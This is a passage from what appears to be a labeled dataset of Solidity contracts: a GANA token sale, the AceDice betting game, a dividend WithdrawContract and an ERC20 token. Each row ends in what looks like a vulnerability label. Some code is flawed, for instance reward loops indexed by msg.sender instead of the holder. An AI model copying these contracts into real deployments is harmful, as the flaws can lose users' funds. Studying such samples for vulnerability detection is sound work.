}
contract Managed is Releasable {
mapping (address => bool) public manager;
event SetManager(address _addr);
event UnsetManager(address _addr);
function Managed() public {
manager[msg.sender] = true;
}
modifier onlyManager() {
require(manager[msg.sender]);
_;
}
function setManager(address _addr) public onlyOwner {
require(_addr != address(0) && manager[_addr] == false);
manager[_addr] = true;
SetManager(_addr);
}
function unsetManager(address _addr) public onlyOwner {
require(_addr != address(0) && manager[_addr] == true);
manager[_addr] = false;
UnsetManager(_addr);
}
}
contract ReleasableToken is StandardToken, Managed {
function transfer(address _to, uint256 _value) public afterReleased returns (bool) {
return super.transfer(_to, _value);
}
function saleTransfer(address _to, uint256 _value) public onlyManager returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public afterReleased returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public afterReleased returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public afterReleased returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public afterReleased returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract BurnableToken is ReleasableToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) onlyManager public {
require(_value > 0);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
}
}
contract GanaToken is BurnableToken {
string public constant name = "GANA";
string public constant symbol = "GANA";
uint8 public constant decimals = 18;
event ClaimedTokens(address manager, address _token, uint256 claimedBalance);
function GanaToken() public {
totalSupply = 2400000000 * 1 ether;
balances[msg.sender] = totalSupply;
}
function claimTokens(address _token, uint256 _claimedBalance) public onlyManager afterReleased {
ERC20Basic token = ERC20Basic(_token);
uint256 tokenBalance = token.balanceOf(this);
require(tokenBalance >= _claimedBalance);
address manager = msg.sender;
token.transfer(manager, _claimedBalance);
ClaimedTokens(manager, _token, _claimedBalance);
}
}
contract Whitelist is Ownable {
mapping (address => bool) public whitelist;
event Registered(address indexed _addr);
event Unregistered(address indexed _addr);
modifier onlyWhitelisted(address _addr) {
require(whitelist[_addr]);
_;
}
function isWhitelist(address _addr) public view returns (bool listed) {
return whitelist[_addr];
}
function registerAddress(address _addr) public onlyOwner {
require(_addr != address(0) && whitelist[_addr] == false);
whitelist[_addr] = true;
Registered(_addr);
}
function registerAddresses(address[] _addrs) public onlyOwner {
for(uint256 i = 0; i < _addrs.length; i++) {
require(_addrs[i] != address(0) && whitelist[_addrs[i]] == false);
whitelist[_addrs[i]] = true;
Registered(_addrs[i]);
}
}
function unregisterAddress(address _addr) public onlyOwner onlyWhitelisted(_addr) {
whitelist[_addr] = false;
Unregistered(_addr);
}
function unregisterAddresses(address[] _addrs) public onlyOwner {
for(uint256 i = 0; i < _addrs.length; i++) {
require(whitelist[_addrs[i]]);
whitelist[_addrs[i]] = false;
Unregistered(_addrs[i]);
}
}
}
contract GanaTokenPublicSale is Ownable {
using SafeMath for uint256;
GanaToken public gana;
Whitelist public whitelist;
address public wallet;
uint256 public hardCap = 50000 ether;
uint256 public weiRaised = 0;
uint256 public defaultRate = 20000;
uint256 public startTime;
uint256 public endTime;
event TokenPurchase(address indexed sender, address indexed buyer, uint256 weiAmount, uint256 ganaAmount);
event Refund(address indexed buyer, uint256 weiAmount);
event TransferToSafe();
event BurnAndReturnAfterEnded(uint256 burnAmount, uint256 returnAmount);
function GanaTokenPublicSale(address _gana, address _wallet, address _whitelist, uint256 _startTime, uint256 _endTime) public {
require(_wallet != address(0));
gana = GanaToken(_gana);
whitelist = Whitelist(_whitelist);
wallet = _wallet;
startTime = _startTime;
endTime = _endTime;
}
modifier onlyWhitelisted() {
require(whitelist.isWhitelist(msg.sender));
_;
}
function () external payable {
buyGana(msg.sender);
}
function buyGana(address buyer) public onlyWhitelisted payable {
require(!hasEnded());
require(afterStart());
require(buyer != address(0));
require(msg.value > 0);
require(buyer == msg.sender);
uint256 weiAmount = msg.value;
uint256 preCalWeiRaised = weiRaised.add(weiAmount);
uint256 ganaAmount;
uint256 rate = getRate();
if(preCalWeiRaised <= hardCap){
ganaAmount = weiAmount.mul(rate);
gana.saleTransfer(buyer, ganaAmount);
weiRaised = preCalWeiRaised;
TokenPurchase(msg.sender, buyer, weiAmount, ganaAmount);
}else{
uint256 refundWeiAmount = preCalWeiRaised.sub(hardCap);
uint256 fundWeiAmount = weiAmount.sub(refundWeiAmount);
ganaAmount = fundWeiAmount.mul(rate);
gana.saleTransfer(buyer, ganaAmount);
weiRaised = weiRaised.add(fundWeiAmount);
TokenPurchase(msg.sender, buyer, fundWeiAmount, ganaAmount);
buyer.transfer(refundWeiAmount);
Refund(buyer,refundWeiAmount);
}
}
function getRate() public view returns (uint256) {
if(weiRaised < 15000 ether){
return 22000;
}else if(weiRaised < 30000 ether){
return 21000;
}else if(weiRaised < 45000 ether){
return 20500;
}else{
return 20000;
}
}
function hasEnded() public view returns (bool) {
bool hardCapReached = weiRaised >= hardCap;
return hardCapReached || afterEnded();
}
function afterEnded() internal constant returns (bool) {
return now > endTime;
}
function afterStart() internal constant returns (bool) {
return now >= startTime;
}
function transferToSafe() onlyOwner public {
require(hasEnded());
wallet.transfer(this.balance);
TransferToSafe();
}
function burnAndReturnAfterEnded(address reserveWallet) onlyOwner public {
require(reserveWallet != address(0));
require(hasEnded());
uint256 unsoldWei = hardCap.sub(weiRaised);
uint256 ganaBalance = gana.balanceOf(this);
require(ganaBalance > 0);
if(unsoldWei > 0){
uint256 unsoldGanaAmount = ganaBalance;
uint256 burnGanaAmount = unsoldWei.mul(defaultRate);
uint256 bonusGanaAmount = unsoldGanaAmount.sub(burnGanaAmount);
gana.burn(burnGanaAmount);
gana.saleTransfer(reserveWallet, bonusGanaAmount);
BurnAndReturnAfterEnded(burnGanaAmount, bonusGanaAmount);
}else{
gana.saleTransfer(reserveWallet, ganaBalance);
BurnAndReturnAfterEnded(0, ganaBalance);
}
}
function returnGanaBeforeSale(address returnAddress) onlyOwner public {
require(returnAddress != address(0));
require(weiRaised == 0);
uint256 returnGana = gana.balanceOf(this);
gana.saleTransfer(returnAddress, returnGana);
}
} | 1 | 2,924 |
pragma solidity ^0.4.24;
contract AceDice {
uint constant HOUSE_EDGE_PERCENT = 2;
uint constant HOUSE_EDGE_MINIMUM_AMOUNT = 0.0003 ether;
uint constant MIN_JACKPOT_BET = 0.1 ether;
uint constant JACKPOT_MODULO = 1000;
uint constant JACKPOT_FEE = 0.001 ether;
uint constant MIN_BET = 0.01 ether;
uint constant MAX_AMOUNT = 300000 ether;
uint constant MAX_MASK_MODULO = 40;
uint constant MAX_BET_MASK = 2 ** MAX_MASK_MODULO;
uint constant BET_EXPIRATION_BLOCKS = 250;
address constant DUMMY_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address public owner;
address private nextOwner;
uint public maxProfit;
address public secretSigner;
uint128 public jackpotSize;
uint public todaysRewardSize;
uint128 public lockedInBets;
struct Bet {
uint amount;
uint8 rollUnder;
uint40 placeBlockNumber;
uint40 mask;
address gambler;
address inviter;
}
struct Profile{
uint avatarIndex;
string nickName;
}
mapping (uint => Bet) bets;
mapping (address => uint) accuBetAmount;
mapping (address => Profile) profiles;
address public croupier;
event FailedPayment(address indexed beneficiary, uint amount);
event Payment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
event JackpotPayment(address indexed beneficiary, uint amount, uint dice, uint rollUnder, uint betAmount);
event VIPPayback(address indexed beneficiary, uint amount);
event Commit(uint commit);
event TodaysRankingPayment(address indexed beneficiary, uint amount);
constructor () public {
owner = msg.sender;
secretSigner = DUMMY_ADDRESS;
croupier = DUMMY_ADDRESS;
}
modifier onlyOwner {
require (msg.sender == owner, "OnlyOwner methods called by non-owner.");
_;
}
modifier onlyCroupier {
require (msg.sender == croupier, "OnlyCroupier methods called by non-croupier.");
_;
}
function approveNextOwner(address _nextOwner) external onlyOwner {
require (_nextOwner != owner, "Cannot approve current owner.");
nextOwner = _nextOwner;
}
function acceptNextOwner() external {
require (msg.sender == nextOwner, "Can only accept preapproved new owner.");
owner = nextOwner;
}
function () public payable {
}
function setSecretSigner(address newSecretSigner) external onlyOwner {
secretSigner = newSecretSigner;
}
function getSecretSigner() external onlyOwner view returns(address){
return secretSigner;
}
function setCroupier(address newCroupier) external onlyOwner {
croupier = newCroupier;
}
function setMaxProfit(uint _maxProfit) public onlyOwner {
require (_maxProfit < MAX_AMOUNT, "maxProfit should be a sane number.");
maxProfit = _maxProfit;
}
function increaseJackpot(uint increaseAmount) external onlyOwner {
require (increaseAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + increaseAmount <= address(this).balance, "Not enough funds.");
jackpotSize += uint128(increaseAmount);
}
function withdrawFunds(address beneficiary, uint withdrawAmount) external onlyOwner {
require (withdrawAmount <= address(this).balance, "Increase amount larger than balance.");
require (jackpotSize + lockedInBets + withdrawAmount <= address(this).balance, "Not enough funds.");
sendFunds(beneficiary, withdrawAmount, withdrawAmount, 0, 0, 0);
}
function kill() external onlyOwner {
require (lockedInBets == 0, "All bets should be processed (settled or refunded) before self-destruct.");
selfdestruct(owner);
}
function encodePacketCommit(uint commitLastBlock, uint commit) private pure returns(bytes memory){
return abi.encodePacked(uint40(commitLastBlock), commit);
}
function verifyCommit(uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) private view {
require (block.number <= commitLastBlock, "Commit has expired.");
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes memory message = encodePacketCommit(commitLastBlock, commit);
bytes32 messageHash = keccak256(abi.encodePacked(prefix, keccak256(message)));
require (secretSigner == ecrecover(messageHash, v, r, s), "ECDSA signature is not valid.");
}
function placeBet(uint betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
verifyCommit(commitLastBlock, commit, v, r, s);
uint mask;
require (betMask > 0 && betMask <= 100, "High modulo range, betMask larger than modulo.");
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. ");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.rollUnder = uint8(betMask);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
uint accuAmount = accuBetAmount[msg.sender];
accuAmount = accuAmount + amount;
accuBetAmount[msg.sender] = accuAmount;
}
function applyVIPLevel(address gambler, uint amount) private {
uint accuAmount = accuBetAmount[gambler];
uint rate;
if(accuAmount >= 30 ether && accuAmount < 150 ether){
rate = 1;
} else if(accuAmount >= 150 ether && accuAmount < 300 ether){
rate = 2;
} else if(accuAmount >= 300 ether && accuAmount < 1500 ether){
rate = 4;
} else if(accuAmount >= 1500 ether && accuAmount < 3000 ether){
rate = 6;
} else if(accuAmount >= 3000 ether && accuAmount < 15000 ether){
rate = 8;
} else if(accuAmount >= 15000 ether && accuAmount < 30000 ether){
rate = 10;
} else if(accuAmount >= 30000 ether && accuAmount < 150000 ether){
rate = 12;
} else if(accuAmount >= 150000 ether){
rate = 15;
} else{
return;
}
uint vipPayback = amount * rate / 10000;
if(gambler.send(vipPayback)){
emit VIPPayback(gambler, vipPayback);
}
}
function placeBetWithInviter(uint betMask, uint commitLastBlock, uint commit, uint8 v, bytes32 r, bytes32 s, address inviter) external payable {
Bet storage bet = bets[commit];
require (bet.gambler == address(0), "Bet should be in a 'clean' state.");
uint amount = msg.value;
require (amount >= MIN_BET && amount <= MAX_AMOUNT, "Amount should be within range.");
require (betMask > 0 && betMask < MAX_BET_MASK, "Mask should be within range.");
require (address(this) != inviter && inviter != address(0), "cannot invite mysql");
verifyCommit(commitLastBlock, commit, v, r, s);
uint mask;
require (betMask > 0 && betMask <= 100, "High modulo range, betMask larger than modulo.");
uint possibleWinAmount;
uint jackpotFee;
(possibleWinAmount, jackpotFee) = getDiceWinAmount(amount, betMask);
require (possibleWinAmount <= amount + maxProfit, "maxProfit limit violation. ");
lockedInBets += uint128(possibleWinAmount);
jackpotSize += uint128(jackpotFee);
require (jackpotSize + lockedInBets <= address(this).balance, "Cannot afford to lose this bet.");
emit Commit(commit);
bet.amount = amount;
bet.rollUnder = uint8(betMask);
bet.placeBlockNumber = uint40(block.number);
bet.mask = uint40(mask);
bet.gambler = msg.sender;
bet.inviter = inviter;
uint accuAmount = accuBetAmount[msg.sender];
accuAmount = accuAmount + amount;
accuBetAmount[msg.sender] = accuAmount;
}
function getMyAccuAmount() external view returns (uint){
return accuBetAmount[msg.sender];
}
function settleBet(uint reveal, bytes32 blockHash) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
uint placeBlockNumber = bet.placeBlockNumber;
require (block.number > placeBlockNumber, "settleBet in the same block as placeBet, or before.");
require (block.number <= placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
require (blockhash(placeBlockNumber) == blockHash);
settleBetCommon(bet, reveal, blockHash);
}
function settleBetUncleMerkleProof(uint reveal, uint40 canonicalBlockNumber) external onlyCroupier {
uint commit = uint(keccak256(abi.encodePacked(reveal)));
Bet storage bet = bets[commit];
require (block.number <= canonicalBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
requireCorrectReceipt(4 + 32 + 32 + 4);
bytes32 canonicalHash;
bytes32 uncleHash;
(canonicalHash, uncleHash) = verifyMerkleProof(commit, 4 + 32 + 32);
require (blockhash(canonicalBlockNumber) == canonicalHash);
settleBetCommon(bet, reveal, uncleHash);
}
function settleBetCommon(Bet storage bet, uint reveal, bytes32 entropyBlockHash) private {
uint amount = bet.amount;
uint rollUnder = bet.rollUnder;
address gambler = bet.gambler;
require (amount != 0, "Bet should be in an 'active' state");
applyVIPLevel(gambler, amount);
bet.amount = 0;
bytes32 entropy = keccak256(abi.encodePacked(reveal, entropyBlockHash));
uint modulo = 100;
uint dice = uint(entropy) % modulo;
uint diceWinAmount;
uint _jackpotFee;
(diceWinAmount, _jackpotFee) = getDiceWinAmount(amount, rollUnder);
uint diceWin = 0;
uint jackpotWin = 0;
if (modulo <= MAX_MASK_MODULO) {
if ((2 ** dice) & bet.mask != 0) {
diceWin = diceWinAmount;
}
} else {
if (dice < rollUnder) {
diceWin = diceWinAmount;
}
}
lockedInBets -= uint128(diceWinAmount);
if (amount >= MIN_JACKPOT_BET) {
if ((uint(entropy) / modulo) % JACKPOT_MODULO == 0) {
jackpotWin = jackpotSize;
jackpotSize = 0;
}
}
if (jackpotWin > 0) {
emit JackpotPayment(gambler, jackpotWin, dice, rollUnder, amount);
}
if(bet.inviter != address(0)){
bet.inviter.transfer(amount * HOUSE_EDGE_PERCENT / 100 * 15 /100);
}
todaysRewardSize += amount * HOUSE_EDGE_PERCENT / 100 * 9 /100;
sendFunds(gambler, diceWin + jackpotWin == 0 ? 1 wei : diceWin + jackpotWin, diceWin, dice, rollUnder, amount);
}
function refundBet(uint commit) external {
Bet storage bet = bets[commit];
uint amount = bet.amount;
require (amount != 0, "Bet should be in an 'active' state");
require (block.number > bet.placeBlockNumber + BET_EXPIRATION_BLOCKS, "Blockhash can't be queried by EVM.");
bet.amount = 0;
uint diceWinAmount;
uint jackpotFee;
(diceWinAmount, jackpotFee) = getDiceWinAmount(amount, bet.rollUnder);
lockedInBets -= uint128(diceWinAmount);
jackpotSize -= uint128(jackpotFee);
sendFunds(bet.gambler, amount, amount, 0, 0, 0);
}
function getDiceWinAmount(uint amount, uint rollUnder) private pure returns (uint winAmount, uint jackpotFee) {
require (0 < rollUnder && rollUnder <= 100, "Win probability out of range.");
jackpotFee = amount >= MIN_JACKPOT_BET ? JACKPOT_FEE : 0;
uint houseEdge = amount * HOUSE_EDGE_PERCENT / 100;
if (houseEdge < HOUSE_EDGE_MINIMUM_AMOUNT) {
houseEdge = HOUSE_EDGE_MINIMUM_AMOUNT;
}
require (houseEdge + jackpotFee <= amount, "Bet doesn't even cover house edge.");
winAmount = (amount - houseEdge - jackpotFee) * 100 / rollUnder;
}
function sendFunds(address beneficiary, uint amount, uint successLogAmount, uint dice, uint rollUnder, uint betAmount) private {
if (beneficiary.send(amount)) {
emit Payment(beneficiary, successLogAmount, dice, rollUnder, betAmount);
} else {
emit FailedPayment(beneficiary, amount);
}
}
uint constant POPCNT_MULT = 0x0000000000002000000000100000000008000000000400000000020000000001;
uint constant POPCNT_MASK = 0x0001041041041041041041041041041041041041041041041041041041041041;
uint constant POPCNT_MODULO = 0x3F;
function verifyMerkleProof(uint seedHash, uint offset) pure private returns (bytes32 blockHash, bytes32 uncleHash) {
uint scratchBuf1; assembly { scratchBuf1 := mload(0x40) }
uint uncleHeaderLength; uint blobLength; uint shift; uint hashSlot;
for (;; offset += blobLength) {
assembly { blobLength := and(calldataload(sub(offset, 30)), 0xffff) }
if (blobLength == 0) {
break;
}
assembly { shift := and(calldataload(sub(offset, 28)), 0xffff) }
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
seedHash := sha3(scratchBuf1, blobLength)
uncleHeaderLength := blobLength
}
}
uncleHash = bytes32(seedHash);
uint scratchBuf2 = scratchBuf1 + uncleHeaderLength;
uint unclesLength; assembly { unclesLength := and(calldataload(sub(offset, 28)), 0xffff) }
uint unclesShift; assembly { unclesShift := and(calldataload(sub(offset, 26)), 0xffff) }
require (unclesShift + uncleHeaderLength <= unclesLength, "Shift bounds check.");
offset += 6;
assembly { calldatacopy(scratchBuf2, offset, unclesLength) }
memcpy(scratchBuf2 + unclesShift, scratchBuf1, uncleHeaderLength);
assembly { seedHash := sha3(scratchBuf2, unclesLength) }
offset += unclesLength;
assembly {
blobLength := and(calldataload(sub(offset, 30)), 0xffff)
shift := and(calldataload(sub(offset, 28)), 0xffff)
}
require (shift + 32 <= blobLength, "Shift bounds check.");
offset += 4;
assembly { hashSlot := calldataload(add(offset, shift)) }
require (hashSlot == 0, "Non-empty hash slot.");
assembly {
calldatacopy(scratchBuf1, offset, blobLength)
mstore(add(scratchBuf1, shift), seedHash)
blockHash := sha3(scratchBuf1, blobLength)
}
}
function requireCorrectReceipt(uint offset) view private {
uint leafHeaderByte; assembly { leafHeaderByte := byte(0, calldataload(offset)) }
require (leafHeaderByte >= 0xf7, "Receipt leaf longer than 55 bytes.");
offset += leafHeaderByte - 0xf6;
uint pathHeaderByte; assembly { pathHeaderByte := byte(0, calldataload(offset)) }
if (pathHeaderByte <= 0x7f) {
offset += 1;
} else {
require (pathHeaderByte >= 0x80 && pathHeaderByte <= 0xb7, "Path is an RLP string.");
offset += pathHeaderByte - 0x7f;
}
uint receiptStringHeaderByte; assembly { receiptStringHeaderByte := byte(0, calldataload(offset)) }
require (receiptStringHeaderByte == 0xb9, "Receipt string is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint receiptHeaderByte; assembly { receiptHeaderByte := byte(0, calldataload(offset)) }
require (receiptHeaderByte == 0xf9, "Receipt is always at least 256 bytes long, but less than 64k.");
offset += 3;
uint statusByte; assembly { statusByte := byte(0, calldataload(offset)) }
require (statusByte == 0x1, "Status should be success.");
offset += 1;
uint cumGasHeaderByte; assembly { cumGasHeaderByte := byte(0, calldataload(offset)) }
if (cumGasHeaderByte <= 0x7f) {
offset += 1;
} else {
require (cumGasHeaderByte >= 0x80 && cumGasHeaderByte <= 0xb7, "Cumulative gas is an RLP string.");
offset += cumGasHeaderByte - 0x7f;
}
uint bloomHeaderByte; assembly { bloomHeaderByte := byte(0, calldataload(offset)) }
require (bloomHeaderByte == 0xb9, "Bloom filter is always 256 bytes long.");
offset += 256 + 3;
uint logsListHeaderByte; assembly { logsListHeaderByte := byte(0, calldataload(offset)) }
require (logsListHeaderByte == 0xf8, "Logs list is less than 256 bytes long.");
offset += 2;
uint logEntryHeaderByte; assembly { logEntryHeaderByte := byte(0, calldataload(offset)) }
require (logEntryHeaderByte == 0xf8, "Log entry is less than 256 bytes long.");
offset += 2;
uint addressHeaderByte; assembly { addressHeaderByte := byte(0, calldataload(offset)) }
require (addressHeaderByte == 0x94, "Address is 20 bytes long.");
uint logAddress; assembly { logAddress := and(calldataload(sub(offset, 11)), 0xffffffffffffffffffffffffffffffffffffffff) }
require (logAddress == uint(address(this)));
}
function memcpy(uint dest, uint src, uint len) pure private {
for(; len >= 32; len -= 32) {
assembly { mstore(dest, mload(src)) }
dest += 32; src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function thisBalance() public view returns(uint) {
return address(this).balance;
}
function setAvatarIndex(uint index) external{
require (index >=0 && index <= 100, "avatar index should be in range");
Profile storage profile = profiles[msg.sender];
profile.avatarIndex = index;
}
function setNickName(string nickName) external{
Profile storage profile = profiles[msg.sender];
profile.nickName = nickName;
}
function getProfile() external view returns(uint, string){
Profile storage profile = profiles[msg.sender];
return (profile.avatarIndex, profile.nickName);
}
function payTodayReward(address to, uint rate) external onlyOwner {
uint prize = todaysRewardSize * rate / 10000;
todaysRewardSize = todaysRewardSize - prize;
if(to.send(prize)){
emit TodaysRankingPayment(to, prize);
}
}
} | 1 | 2,920 |
pragma solidity ^0.4.15;
contract ERC20 {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
pragma solidity ^0.4.15;
contract Owned {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed by, address indexed to);
event OwnershipTransferred(address indexed from, address indexed to);
event OwnershipRemoved();
function Owned() {
owner = msg.sender;
}
modifier onlyOwner() {
require (msg.sender == owner);
_;
}
function changeOwnership(address _newOwner) onlyOwner {
require(_newOwner != 0x0);
address oldOwner = owner;
owner = _newOwner;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function proposeOwnership(address _newOwnerCandidate) onlyOwner {
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
function acceptOwnership() {
require(msg.sender == newOwnerCandidate);
address oldOwner = owner;
owner = newOwnerCandidate;
newOwnerCandidate = 0x0;
OwnershipTransferred(oldOwner, owner);
}
function removeOwnership(address _dac) onlyOwner {
require(_dac == 0xdac);
owner = 0x0;
newOwnerCandidate = 0x0;
OwnershipRemoved();
}
}
pragma solidity ^0.4.15;
contract Escapable is Owned {
address public escapeHatchCaller;
address public escapeHatchDestination;
mapping (address=>bool) private escapeBlacklist;
function Escapable(address _escapeHatchCaller, address _escapeHatchDestination) {
escapeHatchCaller = _escapeHatchCaller;
escapeHatchDestination = _escapeHatchDestination;
}
modifier onlyEscapeHatchCallerOrOwner {
require ((msg.sender == escapeHatchCaller)||(msg.sender == owner));
_;
}
function blacklistEscapeToken(address _token) internal {
escapeBlacklist[_token] = true;
EscapeHatchBlackistedToken(_token);
}
function isTokenEscapable(address _token) constant public returns (bool) {
return !escapeBlacklist[_token];
}
function escapeHatch(address _token) public onlyEscapeHatchCallerOrOwner {
require(escapeBlacklist[_token]==false);
uint256 balance;
if (_token == 0x0) {
balance = this.balance;
escapeHatchDestination.transfer(balance);
EscapeHatchCalled(_token, balance);
return;
}
ERC20 token = ERC20(_token);
balance = token.balanceOf(this);
token.transfer(escapeHatchDestination, balance);
EscapeHatchCalled(_token, balance);
}
function changeHatchEscapeCaller(address _newEscapeHatchCaller) onlyEscapeHatchCallerOrOwner {
escapeHatchCaller = _newEscapeHatchCaller;
}
event EscapeHatchBlackistedToken(address token);
event EscapeHatchCalled(address token, uint amount);
}
pragma solidity ^0.4.18;
contract MiniMeToken {
function balanceOfAt(address _owner, uint _blockNumber) public constant returns (uint);
function totalSupplyAt(uint _blockNumber) public constant returns(uint);
}
contract WithdrawContract is Escapable {
struct Deposit {
uint block;
ERC20 token;
uint amount;
bool canceled;
}
Deposit[] public deposits;
MiniMeToken rewardToken;
mapping (address => uint) public nextDepositToPayout;
mapping (address => mapping(uint => bool)) skipDeposits;
function WithdrawContract(
MiniMeToken _rewardToken,
address _escapeHatchCaller,
address _escapeHatchDestination)
Escapable(_escapeHatchCaller, _escapeHatchDestination)
public
{
rewardToken = _rewardToken;
}
function () payable public {
newEtherDeposit(0);
}
function newEtherDeposit(uint _block)
public onlyOwner payable
returns (uint _idDeposit)
{
require(msg.value>0);
require(_block < block.number);
_idDeposit = deposits.length ++;
Deposit storage d = deposits[_idDeposit];
d.block = _block == 0 ? block.number -1 : _block;
d.token = ERC20(0);
d.amount = msg.value;
NewDeposit(_idDeposit, ERC20(0), msg.value);
}
function newTokenDeposit(ERC20 _token, uint _amount, uint _block)
public onlyOwner
returns (uint _idDeposit)
{
require(_amount > 0);
require(_block < block.number);
require( _token.transferFrom(msg.sender, address(this), _amount) );
_idDeposit = deposits.length ++;
Deposit storage d = deposits[_idDeposit];
d.block = _block == 0 ? block.number -1 : _block;
d.token = _token;
d.amount = _amount;
NewDeposit(_idDeposit, _token, _amount);
}
function cancelPaymentGlobally(uint _idDeposit) public onlyOwner {
require(_idDeposit < deposits.length);
deposits[_idDeposit].canceled = true;
CancelPaymentGlobally(_idDeposit);
}
function withdraw() public {
uint acc = 0;
uint i = nextDepositToPayout[msg.sender];
require(i<deposits.length);
ERC20 currentToken = deposits[i].token;
require(msg.gas>149000);
while (( i< deposits.length) && ( msg.gas > 148000)) {
Deposit storage d = deposits[i];
if ((!d.canceled)&&(!isDepositSkiped(msg.sender, i))) {
if (currentToken != d.token) {
nextDepositToPayout[msg.sender] = i;
require(doPayment(i-1, msg.sender, currentToken, acc));
assert(nextDepositToPayout[msg.sender] == i);
currentToken = d.token;
acc =0;
}
acc += d.amount *
rewardToken.balanceOfAt(msg.sender, d.block) /
rewardToken.totalSupplyAt(d.block);
}
i++;
}
nextDepositToPayout[msg.sender] = i;
require(doPayment(i-1, msg.sender, currentToken, acc));
assert(nextDepositToPayout[msg.sender] == i);
}
function skipPayment(uint _idDeposit, bool _skip) public {
require(_idDeposit < deposits.length);
skipDeposits[msg.sender][_idDeposit] = _skip;
SkipPayment(_idDeposit, _skip);
}
function getPendingReward(ERC20 _token, address _holder) public constant returns(uint) {
uint acc =0;
for (uint i=nextDepositToPayout[msg.sender]; i<deposits.length; i++) {
Deposit storage d = deposits[i];
if ((d.token == _token)&&(!d.canceled) && (!isDepositSkiped(_holder, i))) {
acc += d.amount *
rewardToken.balanceOfAt(_holder, d.block) /
rewardToken.totalSupplyAt(d.block);
}
}
return acc;
}
function canWithdraw(address _holder) public constant returns (bool) {
if (nextDepositToPayout[_holder] == deposits.length) return false;
for (uint i=nextDepositToPayout[msg.sender]; i<deposits.length; i++) {
Deposit storage d = deposits[i];
if ((!d.canceled) && (!isDepositSkiped(_holder, i))) {
uint amount = d.amount *
rewardToken.balanceOfAt(_holder, d.block) /
rewardToken.totalSupplyAt(d.block);
if (amount>0) return true;
}
}
return false;
}
function nDeposits() public constant returns (uint) {
return deposits.length;
}
function isDepositSkiped(address _holder, uint _idDeposit) public constant returns(bool) {
return skipDeposits[_holder][_idDeposit];
}
function doPayment(uint _idDeposit, address _dest, ERC20 _token, uint _amount) internal returns (bool) {
if (_amount == 0) return true;
if (address(_token) == 0) {
if (!_dest.send(_amount)) return false;
} else {
if (!_token.transfer(_dest, _amount)) return false;
}
Withdraw(_idDeposit, _dest, _token, _amount);
return true;
}
function getBalance(ERC20 _token, address _holder) internal constant returns (uint) {
if (address(_token) == 0) {
return _holder.balance;
} else {
return _token.balanceOf(_holder);
}
}
event Withdraw(uint indexed lastIdPayment, address indexed holder, ERC20 indexed tokenContract, uint amount);
event NewDeposit(uint indexed idDeposit, ERC20 indexed tokenContract, uint amount);
event CancelPaymentGlobally(uint indexed idDeposit);
event SkipPayment(uint indexed idDeposit, bool skip);
} | 1 | 3,938 |
pragma solidity ^0.4.16;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
